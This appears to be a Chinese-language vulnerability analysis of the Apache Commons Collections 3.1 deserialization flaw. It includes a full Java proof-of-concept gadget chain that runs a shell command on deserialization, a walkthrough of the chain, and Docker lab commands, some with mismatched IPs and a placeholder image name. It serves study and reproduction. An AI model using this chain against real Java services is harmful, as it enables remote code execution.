完成漏洞挖掘條件分析、漏洞複現。
有安全缺陷的版本:Apache Commons Collections3.2.1以下,【JDK版本:1.7.0_80】Apache Maven 3.6.3。
POC核心程式碼:
package com.patrilic.vul;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class EvalObject {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),// new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"touch /tmp/CommonsCollections3.1"})};//将transformers数组存入ChaniedTransformer这个继承类Transformer transformerChain = new ChainedTransformer(transformers);// transformerChain.transform(null);//创建Map并绑定transformerChainMap innerMap = new HashMap();innerMap.put("value", "value");Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);// //触发漏洞// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);//将ins序列化ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();//取出序列化的数据流进行反序列化,验证ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();// }//}}}
Transformer介面-實作類別-InvokerTransformer(),可呼叫任何函數。
為實作 Runtime.getRuntime().exec(cmd),要多次呼叫 transformer 並將目前傳回結果當作下次輸入訊息。
為呼叫 Runtime.getRuntime(),考慮 ConstantTransformer 類,它可直接將輸入的參數作為輸出。
ChainedTransformer 作為實現類,對於接收的Transformer 數組,採用自身的transform方法(參數是用戶輸入的)逐次處理Transformer數組對象,將其結果作為下次重複調用的輸入參數。它的 transform()方法即可出觸發漏洞。
為尋找反序列化途徑,即讀進來資料被反序列化執行,則反向尋找可觸發ChainedTransformer 物件 .transform() 方法的途徑。
HashMap類別可以鍵值對方式儲存數據,put(key,value)方法可儲存資料。
TransformedMap類別的功能是儲存鍵值對並將其轉換為transform objects,decorate()方法可建立鍵值對群組,checkSetValue()方法會觸發this.valueTransformer.transform()語句。依序反向尋找調用 checkSetValue()【1】,使 this.valueTransformer 為 ChainedTransformer 物件的途徑【2】。
對於【2】,TransformedMap 類別的靜態方法 decorate()可達到目標。
對於【1】,AbstractInputCheckedMapDecorator 類別 MapEntry 靜態類別的setValue方法會執行this.parent.checkSetValue(value),則接下來應使this.parent為TransformedMap物件【3】 。
對於【3】,正向分析POC中此段程式碼:
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
研究可知,執行過程中多次在AbstractInputCheckedMapDecorator類別中,將TransformedMap物件賦值給this.parent,返回Map.Entry對象,剛好可以執行setValue()方法,觸發漏洞。
為提升通用性,必須設法使得呼叫反序列化方法即觸發漏洞,因此,考慮尋找類別物件滿足「重寫反序列化readObject()且執行Map類別物件變數的setValue(),同時此變數可被控制賦鍵值資料」。 AnnotationInvocationHandler類別滿足此需求【它對Map類型的成員變數的每個條目均呼叫setValue()】。
Class.forName() 功能是載入類別。
則再次分析,對於【1】,正向分析POC中核心程式碼:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);……Object obj = (Object) ois.readObject();
研究可知,執行過程會執行 MapEntry 靜態類別的 setValue 方法,且會執行entrySet 方法使得this.parent=TransformedMap 對象,從而觸發漏洞。
總的來說,正向的POC建構想法為:先建構 ChainedTransformer 對象,隨後創建Map 對象,再採用 TransformedMap 類別實例將 ChainedTransformer 對象保存至Map 類別對像中,再透過反射方法獲得經Map 類別物件初始化的AnnotationInvocationHandler 類別實例,對其進行序列化。
下載製作的docker映像,用以下指令:
docker pull 296645429/apache-commons-collections-vulnerability-ubuntu:v1
設定區域網路及容器ip、啟動容器,範例:
(1)自訂網路
docker network create --subnet=192.168.10.1/24 testnet
(2)啟動docker容器
docker run -p 8088:8088 -p 8081:8081 -it --name testt3 --hostname testt3 --network testnet --ip 10.10.10.100 ubuntuxxx:xxx /bin/bash
在容器【Apache-Commons-Collections】中,執行指令【java -jar commons-collections-3.1.jar 】,則產生檔案【CommonsCollections3.1】,如下圖。
以上是如何進行Apache Commons Collections反序列化漏洞分析與重現的詳細內容。更多資訊請關注PHP中文網其他相關文章!